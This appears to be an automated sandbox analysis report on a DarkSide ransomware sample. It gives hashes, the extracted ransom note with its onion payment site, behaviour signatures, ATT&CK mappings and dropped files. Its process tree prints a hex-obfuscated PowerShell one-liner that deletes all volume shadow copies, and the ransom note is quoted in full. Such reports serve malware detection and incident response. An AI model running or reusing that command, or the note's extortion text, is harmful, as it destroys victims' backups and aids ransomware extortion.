Resubmissions

27-01-2024 19:37

240127-yb5pksafd3 10

27-01-2024 19:36

240127-ybqwesafc2 10

12-05-2021 15:56

210512-db4t7vmwas 10

Analysis

  • max time kernel
    117s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    27-01-2024 19:37

General

  • Target

    6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe

  • Size

    59KB

  • MD5

    5ff75d33080bb97a8e6b54875c221777

  • SHA1

    810d6c70a96584486867cedde111a1087ed1ebe7

  • SHA256

    6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff

  • SHA512

    a6b87ddcaa797a4d8abc06a786a7186fe43eef5e3291402f81b95a180b7fb746f88cd0f408a089deb5321ecf0d2ac3cca479fdc1f782771749df0ac5a082ac00

  • SSDEEP

    768:9jjV7Iax7F3DS4/S9QCuUSbVtdNcxGV1ylMRY23W5:vx7Fu4/irrUDTV1ylMqZ5

Malware Config

Extracted

Path

C:\Users\Admin\README.21af4d10.TXT

Family

darkside

Ransom Note
----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/45NAQ3FNBX002JPHBAIKB97JVVABJQHTM2HO7XOZRXTEH98CRPXYX09X7VUH0F0W When you open our website, put the following data in the input form: Key: aB8lE86K6bt2yphn16ULYEWUkQgiDkVDBHvQuveSHbkkccXcFdx82fYYL2wEuCLtUlSIpghfBnR1iHFog7qrxDKEfU1MQE8uiUe0CjmMqYp429q5QWYrTRUEJV1UevaixL9cMAeVhTiFRe0PHhthK2V8MfjrySgetDXg40JSiHOZHOstlUnOpJpS6CGn9r9P96kf7j5EFu5dIymVAOfFOxkPx8iG9JDaEHm3hEkCGnII4XNwLbykXoVctE8r6OzBrnKNcLvkQTDMwFQh29kecXcnNniHRXVYNDy2SY49GY58TBuNA6MtaqHht98G9qRjFNAYKdEDX5G6IimaqgNF3QCsOiDko91l70T6rcrVpWNrSdGw4p9tnOyIXUfrUVZFeYManOWT8aqu0qTi2C69L8w1RzezAczWJiwIrt3zfkTLqHKotNih0ebqTia8uUcsHbn6u0z2v3LFDyasrZdNvlKq1rmZmljdEDt0jakl9ygQwOEnd8T7gyygbMUwiF7Nhj8UlGP9o1h2L94qObqhQZGKJFH8DuPbQnf9OczD9cyX0uJTJT5iuiu !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidfqzcuhtk2.onion/45NAQ3FNBX002JPHBAIKB97JVVABJQHTM2HO7XOZRXTEH98CRPXYX09X7VUH0F0W

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Renames multiple (163) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Modifies Control Panel 1 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
    "C:\Users\Admin\AppData\Local\Temp\6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe"
    1⤵
    • Sets desktop wallpaper using registry
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2384
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2736
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:2820

Network

MITRE ATT&CK Matrix ATT&CK v13

Defense Evasion

Modify Registry

1
T1112

Credential Access

Unsecured Credentials

1
T1552

Credentials In Files

1
T1552.001

Collection

Data from Local System

1
T1005

Impact

Defacement

1
T1491

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
    Filesize

    35KB

    MD5

    421f8417339422f9b81c008780731021

    SHA1

    1d5139beca4d010b3fdc17d43afefd4fb0b834f1

    SHA256

    a59cc4526ea3e973051aaeb0ac2d2a4791db4e84d04d86fcf7e48ef887a8173f

    SHA512

    59e6911b15aca8a2d29fa4c1f8ee7fa8f3b7b20df6f56ce96fe67fe28165924f21c371784ed7db950a170b3893c32a65c5168e8d75fc5dfdefa1fbf484540cff

  • C:\Users\Admin\AppData\Local\Temp\Tar56DC.tmp
    Filesize

    67KB

    MD5

    1286b30f4460efd4841a17ab619af18c

    SHA1

    35fd12cb627b2db9b69737ca203cbc2fd375a26d

    SHA256

    b10467af5824e7f35c1010d2051a4fdef847ba0b7e1b9056902823528dbc3f6c

    SHA512

    dd1916ad3d6a7b5401dc6819f37feb383f35ae8f689e151b9b27e02e9306b80f5dfd7b3a69215b7186b43a94424efd4eea17eeb9fd64538eb076d0743d114892

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    926308f6a94913ee5175c8e29882e146

    SHA1

    ac77f11806c218599facd53a760cc9032177295e

    SHA256

    ad922f6fec41a653dd3841b1a12e37c1e4d3c958ecb2ee04c6589b149bd2ee9c

    SHA512

    85f475bc68175b49bb247aff94905cb5e99faa5cca4669c321ae9a0965e8f312dbef5cad372c7c7fcfe132d1f2d54d1c7fa4bbecdecc14e7523b8a4a9c1d037c

  • C:\Users\Admin\README.21af4d10.TXT
    Filesize

    1KB

    MD5

    29adbb559c7cf5a71f3217726f04577f

    SHA1

    4efb812b9e9f341b4272d4beb6c716e79be5fd91

    SHA256

    725a61a2c9301d08ef5510f12410d1ab34b3fa474194b1c45be06d4443248dcd

    SHA512

    1d807ddbf3b93954911b4b9489280ac138d2aa9717339d051d5f117cbc35e59b1ef6aa2daab7bbec6867a95168668d659709fc50e92c5cb8a6db20912c8120d4

  • memory/2736-23-0x0000000002980000-0x0000000002A00000-memory.dmp
    Filesize

    512KB

  • memory/2736-21-0x000007FEF4830000-0x000007FEF51CD000-memory.dmp
    Filesize

    9.6MB

  • memory/2736-19-0x0000000002790000-0x0000000002798000-memory.dmp
    Filesize

    32KB

  • memory/2736-18-0x000007FEF4830000-0x000007FEF51CD000-memory.dmp
    Filesize

    9.6MB

  • memory/2736-25-0x000007FEF4830000-0x000007FEF51CD000-memory.dmp
    Filesize

    9.6MB

  • memory/2736-22-0x0000000002980000-0x0000000002A00000-memory.dmp
    Filesize

    512KB

  • memory/2736-17-0x000000001B660000-0x000000001B942000-memory.dmp
    Filesize

    2.9MB

  • memory/2736-24-0x0000000002980000-0x0000000002A00000-memory.dmp
    Filesize

    512KB

  • memory/2736-20-0x0000000002980000-0x0000000002A00000-memory.dmp
    Filesize

    512KB